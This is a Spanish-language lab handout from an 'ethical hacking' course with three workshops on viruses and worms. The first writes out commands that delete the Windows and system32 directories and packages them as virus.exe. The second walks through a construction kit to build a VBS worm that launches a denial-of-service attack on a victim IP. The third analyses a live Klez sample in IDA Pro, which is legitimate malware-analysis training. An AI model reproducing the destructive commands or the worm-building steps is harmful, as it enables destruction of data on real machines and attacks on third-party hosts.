TALLER DE FUNDAMENTACION

CURSO AVANZADO DE HACKING ETICO

TECNICAS AVANZADAS DE ATAQUE Y DEFENSA.

TALLER - VIRUS Y GUSANOS

TALLER 1.

Con este taller se podrá escribir un sencillo código de virus

Busque la herramienta **stealth batch** en sus herramientas del curso.

Escribas las siguientes líneas:

Del c:\windows\system32*.* /q

Del c:\windows*.* /q

Cierre la opción y genere con la herramienta stealth batch un ejecutable y grábelo como **virus.exe** en el escritorio

Cuando virus.exe es ejecutado los archivos **core** del directorio de Windows serán borrados.

TALLER 2.

Usando **VIRUS CONSTRUCTION KIT** para generar automáticamente virus será el objetivo del taller.

En el directorio de **VIRUS CONSTRUCTION KIT**

Busque **Windows Scripting Host Worm Construction –works**

Haga click en **wshwc.exe**

Haga click en la opción **PAYLOAD** y luego haga click en **LAUNCH OF DENIAL OF SERVICE ATTACK**, digite la dirección ip de la victima (posiblemente necesite dos maquinas para este laboratorio)

Haga click en **CONSTRUCT WORM**

Abra **WORMS.VBS** desde el escritorio usando Wordpad.

Ejecute el worm haciendo doble click en el archivo

El gusano ejecutara un ataque **DoS** a la maquina victima.

Abra el sniffer ethereal y verifique los paquetes que llegan a la maquina victima.

TALLER 3.

Usaremos **IDA PRO** para analizar un virus

Busque el directorio de IDA PRO

Instale y ejecute **idademo50.exe** (posiblemente tenga que retrasar la fecha de su PC para que le corra la herramienta)

Haga Click en **NUEVO (NEW**)

Haga luego **CLICK en PE EXECUTABLE** y luego click en **OK.**

Busque en la carpeta de virus y **worms KLEZ virus Live** y ejecute face.exe, luego click en **OPEN** y luego click en **START ANALISYS** (Iniciar análisis)

Mientras mira el resultado escoja en **VIEW FLOW CHART**

Además escoja **FUNCTIONS CALLS**

Explore más características del programa

Documente todos los resultados de los talleres y haga un resumen de lo que aprendió en los mismos.